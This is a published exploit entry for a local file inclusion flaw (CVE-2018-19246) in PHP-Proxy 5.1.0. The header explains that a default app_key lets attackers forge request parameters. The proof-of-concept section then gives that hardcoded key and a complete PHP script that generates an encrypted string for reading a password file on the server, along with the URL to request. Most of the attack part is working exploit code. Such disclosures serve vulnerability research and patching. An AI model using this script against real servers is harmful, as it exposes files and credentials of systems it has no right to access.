PHP-Proxy 5.1.0 - Local File Inclusion

# Exploit Title: PHP-Proxy 5.1.0 - Local File Inclusion
# Date: 2018-11-13
# Exploit Author: Ameer Pornillos
# Contact: https://ethicalhackers.club
# Vendor Homepage: https://www.php-proxy.com/
# Software Link: https://www.php-proxy.com/download/php-proxy.zip
# Version: 5.1.0
# Category: Webapps
# Tested on: XAMPP on Win10_x64
# Description: Downloadable pre-installed version of PHP-Proxy 5.1.0 
# make use of a default app_key wherein can be used for local file inclusion
# attacks. This can be used to generate encrypted string which 
# can gain access to arbitrary local files in the server.
# http://php-proxy-site/index.php?q=[encrypted_string_value]
# CVE: CVE-2018-19246

# POC: 
# 1)
# Generate encrypted string value using the PHP script below
# 2)
# Browse to URL 
# http://php-proxy-site/index.php?q=[encrypted_string_value]
# to read local file

<?php
$file = "file:///C:/xampp/passwords.txt"; //example target file to read
$ip = "192.168.0.1"; //change depending on your IP address that access the app
$app_key = "aeb067ca0aa9a3193dce3a7264c90187";
$key = md5($app_key.$ip);
function str_rot_pass($str, $key, $decrypt = false){
    $key_len = strlen($key);
    $result = str_repeat(' ', strlen($str));
    for($i=0; $i<strlen($str); $i++){
        if($decrypt){
            $ascii = ord($str[$i]) - ord($key[$i % $key_len]);
        } else {
            $ascii = ord($str[$i]) + ord($key[$i % $key_len]);
        }
        $result[$i] = chr($ascii);
    }
    return $result;
}
function base64_url_encode($input){
    return rtrim(strtr(base64_encode($input), '+/', '-_'), '=');
}
echo base64_url_encode(str_rot_pass($file, $key));
?>